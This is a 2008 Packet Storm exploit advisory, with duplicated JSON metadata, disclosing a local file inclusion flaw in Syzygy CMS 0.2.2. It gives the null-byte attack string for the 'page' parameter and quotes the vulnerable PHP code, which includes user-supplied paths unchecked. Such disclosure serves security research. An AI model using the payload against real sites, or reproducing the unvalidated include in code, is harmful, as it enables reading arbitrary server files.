ID PACKETSTORM:67207
Type packetstorm
Reporter StAkeR
Modified 2008-06-11T00:00:00
Description
`[*]================================================================================[*]
| _____ _ _ _ _____ |
| |_ _| |__ (_)_ __ __| | | ____| _ ___ |
| | | | '_ \| | '__/ _` | | _|| | | |/ _ \ |
| | | | | | | | | | (_| | | |__| |_| | __/ |
| |_| |_| |_|_|_| \__,_| |_____\__, |\___| |
| |___/ |
| ____ _ _ |
| / ___| ___ ___ _ _ _ __(_) |_ _ _ |
| \___ \ / _ \/ __| | | | '__| | __| | | | |
| ___) | __/ (__| |_| | | | | |_| |_| | |
| |____/ \___|\___|\__,_|_| |_|\__|\__, | |
| |___/ |
[*]================================================================================[*]
| Author: StAkeR ~ StAkeR@hotmail.it |
[*]================================================================================[*]
| Third Eye Security Members => Osirys,StAkeR,Over_Flow,Miclen |
[*]================================================================================[*]
| Syzygy CMS 0.2.2 <= Local File Inclusion Vulnerabilty |
[*]================================================================================[*]
| http://surfnet.dl.sourceforge.net/sourceforge/syzygycms/syzygycms-0.2.2.tar.gz |
[*]================================================================================[*]
| index.php?page= [File]%00 |
[*]================================================================================[*]
<?php
if (isset($_GET['page']))
{
$page=$_GET['page'];
}else{
$page='main.php';
}
if(is_file($page))
{
//add block to page
include("./".$page);
}else{
//error reading page! go to default error file 404error.php
include("./404error.php");
}
?>
`
{"id": "PACKETSTORM:67207", "type": "packetstorm", "bulletinFamily": "exploit", "title": "syzygy-lfi.txt", "description": "", "published": "2008-06-11T00:00:00", "modified": "2008-06-11T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/67207/syzygy-lfi.txt.html", "reporter": "StAkeR", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:28:58", "viewCount": 1, "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2016-11-03T10:28:58", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:28:58", "rev": 2}, "vulnersScore": -0.3}, "sourceHref": "https://packetstormsecurity.com/files/download/67207/syzygy-lfi.txt", "sourceData": "`[*]================================================================================[*] \n| _____ _ _ _ _____ | \n| |_ _| |__ (_)_ __ __| | | ____| _ ___ | \n| | | | '_ \\| | '__/ _` | | _|| | | |/ _ \\ | \n| | | | | | | | | | (_| | | |__| |_| | __/ | \n| |_| |_| |_|_|_| \\__,_| |_____\\__, |\\___| | \n| |___/ | \n| ____ _ _ | \n| / ___| ___ ___ _ _ _ __(_) |_ _ _ | \n| \\___ \\ / _ \\/ __| | | | '__| | __| | | | | \n| ___) | __/ (__| |_| | | | | |_| |_| | | \n| |____/ \\___|\\___|\\__,_|_| |_|\\__|\\__, | | \n| |___/ | \n[*]================================================================================[*] \n| Author: StAkeR ~ StAkeR@hotmail.it | \n[*]================================================================================[*] \n| Third Eye Security Members => Osirys,StAkeR,Over_Flow,Miclen | \n[*]================================================================================[*] \n| Syzygy CMS 0.2.2 <= Local File Inclusion Vulnerabilty | \n[*]================================================================================[*] \n| http://surfnet.dl.sourceforge.net/sourceforge/syzygycms/syzygycms-0.2.2.tar.gz | \n[*]================================================================================[*] \n| index.php?page= [File]%00 | \n[*]================================================================================[*] \n \n<?php \nif (isset($_GET['page'])) \n{ \n$page=$_GET['page']; \n}else{ \n$page='main.php'; \n} \nif(is_file($page)) \n{ \n//add block to page \ninclude(\"./\".$page); \n}else{ \n//error reading page! go to default error file 404error.php \ninclude(\"./404error.php\"); \n} \n?> \n \n \n \n \n`\n", "immutableFields": []}
{}